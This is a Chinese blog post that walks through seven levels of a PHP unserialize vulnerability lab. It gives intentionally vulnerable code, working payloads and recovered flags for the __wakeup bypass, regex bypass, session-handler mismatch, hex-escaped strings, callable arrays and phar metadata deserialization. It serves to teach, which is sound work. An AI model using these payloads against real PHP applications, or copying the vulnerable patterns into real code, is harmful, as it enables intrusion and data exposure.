unserialize入门练习

知识点

必须知道的魔术方法

__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
  1. __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。

  2. __ wakeup() :unserialize()时会自动调用

  3. __destruct():当对象被销毁时会自动调用。

  4. __ toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

  5. __get() :当从不可访问的属性读取数据

  6. __call(): 在对象上下文中调用不可访问的方法时触发

__toString 触发的条件比较多,单独列出来:

(1)echo ($obj) / print($obj) 打印时会触发
(2)反序列化对象与字符串连接时
(3)反序列化对象参与格式化字符串时
(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
(5)反序列化对象参与格式化SQL语句,绑定参数时
(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8)反序列化的对象作为 class_exists() 的参数的时候

写一下序列化/反序列化的代码规范:

<?php
class just4fun{
	var $secret;
	var $enter;
}
# 序列化与反序列化范例
$o1=new just4fun(); # 实例化该类
$o1->secret='aaa'; # 给实例中的一些变量赋值
$o1_ser=serialize($o1); # 序列化该实例
print_r($o1_ser); # 输出序列化后的内容
echo("\n"); # 输出换行,必须用双引号
print_r(unserialize($o1_ser)); # 输出反序列化后的内容 
echo("\n");
echo("\n");
# 序列化与指向引用的结合使用
$o2=new just4fun();
$o2->enter=&$o2->secret; # 此处的enter的值是引用的secret的值,使用符号:&
$o2_ser=serialize($o2);
print_r($o2_ser);
echo("\n");
print_r(unserialize($o2_ser));
echo("\n");
?>
//$this在OOP中就是伪变量,(伪变量不是真正的变量,只是形式上是变量,变量中存储的是固定的值,$this中并没有,哪个对象调用,$this就代表哪个对象。)同时,也可以将$this理解为对象的引用,$this通过引用的形式访问一个对象的方法和属性    

序列化格式中的字母含义:

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

回调函数的概念

通俗的来说,回调函数是一个我们定义的函数,但是不是我们直接来调用,而是通过另一个函数来调用,这个函数通过接收回调函数的名字和参数来实现对它的调用。

反序列化靶场

第一关(__wakeup)

<?php 
class SoFun{ 
  protected $file='index.php';
  function __destruct(){
    if(!empty($this->file)) {
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false)
        show_source(dirname (__FILE__).'/'.$this ->file);
      else
        die('Wrong filename.');
    }
  }  
  function __wakeup(){
   $this->file='index.php';
  } 
}     
if (!isset($_GET['tryhackme'])){ 
  show_source(__FILE__);
}
else{ 
  $a=$_GET['tryhackme']; 
  unserialize($a); 
}
 ?><!--key in flag1.php-->

代码审计:后台接收一个tryhackme参数,进行反序列化。__wakeup()会在反序列化(unserialize)的时候进行调用,将file属性赋值为index.php。这个并不是我们想要的,我们需要的在flag1.php里面。所以需要绕过__wakeup魔术方法。__wakeup()函数失效引发漏洞(CVE-2016-7124):漏洞影响版本PHP5 < 5.6.25

or PHP7 < 7.0.10

漏洞原理:__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。

因此可以构造payload:

//其序列化原本属性为1,绕过__wwakeup将其改为了3
un1.php?tryhackme=O:5:"SoFun":3:{s:7:"%00*%00file";s:9:"flag1.php";}

另外提一下访问控制:

  • **public(公有):**公有的类成员可以在任何地方被访问。
  • **protected(受保护):**受保护的类成员则可以被其自身以及其子类和父类访问。
  • **private(私有):**私有的类成员则只能被其定义所在的类访问。

访问控制在序列化的时候有自己单独的格式(不可见字符)。private是在类名首尾加%00,protected则是在*两端加%00。

绕过之后即可获得flag:flag{1t'5_3@5y_t0_6yp@55_w@k34p}

第二关(Plus)

<?php
include "flag2.php"; 
class funny{
    function __wakeup(){
        global $flag;
        echo $flag;
    }
}
if (isset($_GET['tryhackme'])){
    $a = $_GET['tryhackme'];
    if(preg_match('/[oc]:\d+:/i', $a)){
        die("NONONO!");
    } else {
        unserialize($a);
    }
} else {
    show_source(__FILE__);
}

 ?>

这一关只要触发__wakeup魔术方法就可以拿到flag。只有一个正则函数preg_match(),只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。

不过这里我有个疑问,我直接传递payload:

?tryhackme=O:+5:"funny":0:{}

并没有获取到flag,而是在进行了一次urlencode之后才拿到了flag,这里面又没有privateprotected,不解~~~。

flag:flag{p145_15_900d!}

第三关(Bypass)

<?php
include "flag3.php"; 
class funny{
    private $password;
    public $verify;
    function __wakeup(){
        global $nobodyknow;
        global $flag;
        $this->password = $nobodyknow;
        if ($this->password === $this->verify){
            echo $flag;
        } else {
            echo "浣犱笉澶鍟�??!";
        }
    }
}
if (isset($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
unserialize($a);
} else {
    show_source(__FILE__);
}
?>

这一关的核心就是需要:

$this->password === $this->verify

这个写法在最开始的代码规范里面就有写到,所以这里我就直接放我的代码了:

<?php
class funny{
    private $password;
    public $verify;
    function __construct(){
        $this->verify = &$this->password;
    }
}
$d = new funny();
$data = serialize($d);
echo $data;
echo urlencode($data);//因为这里有private所以进行一下url编码
?>

最后拿到flag:flag{7r1p13_3q4@1s_is_9reat!}

第四关(Session)

<?php
// goto un42.php
ini_set('session.serialize_handler','php_serialize');
session_start();
if (isset($_GET['tryhackme'])){
$_SESSION['tryhackme'] = $_GET['tryhackme'];
} else {
show_source(__FILE__);
}
?>

看到了session,直接想到了引擎不同导致的漏洞(使用不当产生)。先补充内容知识点:

php.ini中一些Session配置:
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

处理器:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
//这个便是在相应的处理器处理下,session所存储的格式。

然后话说回来,题目中告诉我们goto un42.php,访问查看

<?php
include "flag4.php"; 
ini_set('session.serialize_handler','php');
session_start();
class funny{
    public $a;
    function __destruct(){
        global $flag;
        echo $flag;
    }
}
show_source(__FILE__);
?>

果然获取flag的页面使用的是php而赋值页面则是php_serialize。代码审计知道,只要触发funny就可以拿到flag了。

构造payload:

|O:5:"funny":1:{s:1:"a";N;}

在赋值页面传入即可在获取flag的页面拿到flag了

flag:flag{53ssi0n_4ns3r@lize_is_very_e@sy}

第五关(Unserialize)

<?php
include "flag5.php";
class funny{
    private $a;
    function __construct() {
        $this->a = "givemeflag";
    }
    function __destruct() {
        global $flag;
        if ($this->a === "givemeflag") {
            echo $flag;
        }
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = $_GET['tryhackme'];
for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("浣犲埌搴曡涓嶈鍟�");
    }
}
unserialize($a);
} else {
    show_source(__FILE__);
}
?>

代码审计知道,只要反序列化后$a=givemeflag就可以拿到flag。不过这一关有一个:

for($i=0;$i<strlen($a);$i++)
{
    if (ord($a[$i]) < 32 || ord($a[$i]) > 126) {
        die("浣犲埌搴曡涓嶈鍟�");
    }
}

类funny里的$a的访问控制是private显然%00在这里就会被过滤掉。但是在反序列化的数据类型里默认字符串使用的标识是小s,这里可以使用大S进行绕过。

**补充:**大写的S是可以支持十六进制编码(xx),并在反序列化的时候解析十六进制
所以构造payload:

?tryhackme=O:5:"funny":1:{S:8:"\00funny\00a";s:10:"givemeflag";}

获得flag :flag{7h3_61n@ry_5tr1n9_5_i5_int3r3sting}

第六关(Array)

<?php
include "flag6.php";
ini_set('display_errors',true);
error_reporting(E_ALL | E_STRICT); 
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}

if (isset($_GET['tryhackme']) && is_string($_GET['tryhackme'])){
$a = unserialize($_GET['tryhackme']);
$a();
} else {
    show_source(__FILE__);
}
?>

**考点:**php动态执行/调用函数/成员函数的能力,即使用变量名后加括号的方式来对函数进行调用。

举例1:

1. 定义一个函数
2. 将函数名(字符串)赋值给一个变量
3. 使用变量名代替函数名动态调用函数
例:
<?php
 function addition ($a, $b){
   echo ($a + $b), "\n";
 }
 $result = "addition";
 $result (1,2);
?>

举例2:动态调用函数:

<?php
function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
call_user_func("test1");
call_user_func("test2","b");
call_user_func("test3","c","d");
?>

举例3:动态调用成员函数:

<?php
class A{

function test1(){echo"a";}
function test2($x){echo $x;}
function test3($x,$y){echo $x.$y;}
}
$obj=new A;
call_user_func(array($obj,"test1"));
call_user_func(array($obj,"test2"),"b");
call_user_func(array($obj,"test3"),"c","d");
?>

构造payload:

<?php
class funny{
    public function pyflag(){
        global $flag;
        echo $flag;
    }
}
$d = new funny();
$data=array($d,"pyflag");
$a = serialize($data);
echo $a;
?>
?tryhackme=a:2:{i:0;O:5:"funny":0:{}i:1;s:6:"pyflag";}

获得flag:flag{Arr@y_c@11_1n5t@nc3_m3th0d}

第七关(Phar)

<?php
include "flag7.php";
class funny{
    function __destruct() {
        global $flag;
        echo $flag;
    }
}

show_source(__FILE__);
if (isset($_GET['action'])) {
    $a = $_GET['action'];
    if ($a === "check") {
        $b = $_GET['file'];
        if (file_exists($b) && !empty($b)) {
            echo "$b is exist!";
        }
    } else if ($a === "upload") {
        if (!is_dir("./upload")){
            mkdir("./upload");
        }
        $filename = "./upload/".rand(1, 10000).".txt";
        if (isset($_GET['data'])){
            file_put_contents($filename, base64_decode($_GET['data']));
            echo "Your file path:$filename";
        }
    }
}
?>

这是一个phar伪协议触发的php反序列化。

审计代码:file_exists()函数参数可控,存在upload可以上传文件。满足phar伪协议触发php反序列化的利用条件。

构造:

<?php
    class funny{
    }
    $phar = new Phar("7.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new funny();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    $data = file_get_contents('./7.phar');
    echo base64_encode($data);
?>

这里有个疑问,我查阅了好多的博客,基本都没有说明为什么。

$phar->setStub("anyhead"."<?php __HALT_COMPILER(); ?>");

这里的setStub里面我看常规的基本上分为三类:不带头、用gif头和这个anyhead。但是却没有说明为什么要用这个anyhead,我尝试不带头或者带gif文件的头这个题都做不出来。(虽然它的名字很好理解,但是我看到的师傅的博客描述都是说只需要保证结尾为__HALT_COMPILER();即可)

回到题目,得到:

YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==

先上传数据:

?action=upload&data=YW55aGVhZDw/cGhwIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KRgAAAAEAAAARAAAAAQAAAAAAEAAAAE86NToiZnVubnkiOjA6e30IAAAAdGVzdC50eHQEAAAALkwdYQQAAAAMfn/YtgEAAAAAAAB0ZXN00/o0rYD23J7lQlO6nsUa49DN2QcCAAAAR0JNQg==

然后得到路径:./upload/7329.txt

利用phar伪协议访问:

?action=check&file=phar://./upload/7329.txt

得到flag:flag{pH4r_lS_4Unny!!}

参考学习链接

  1. https://www.cnblogs.com/bmjoker/p/13742666.html
  2. https://www.cnblogs.com/fish-pompom/p/11126473.html
  3. https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
unserialize函数是PHP中的一个函数,它用于将一个字符串表示的序列化对象转换回原始的PHP对象。当使用serialize函数将一个对象序列化为字符串后,可以使用unserialize函数将其还原为原始的对象。 在使用unserialize函数时,如果被反序列化的字符串中包含有特殊的魔术方法(magic methods)如__construct、__destruct、__wakeup等,这些方法会在对象被创建、销毁或者反序列化时自动调用。 反序列化的过程是非常有用的,可以在用户之间传递对象,或者将对象持久化存储到文件或数据库中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [浅谈php函数serialize()与unserialize()的使用方法](https://download.csdn.net/download/weixin_38726255/13043889)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [反序列化(Unserialize)漏洞详解](https://blog.csdn.net/qq_49422880/article/details/120488517)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [渗透测试基础 -unserialize反序列化漏洞](https://blog.csdn.net/weixin_45488495/article/details/116403291)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值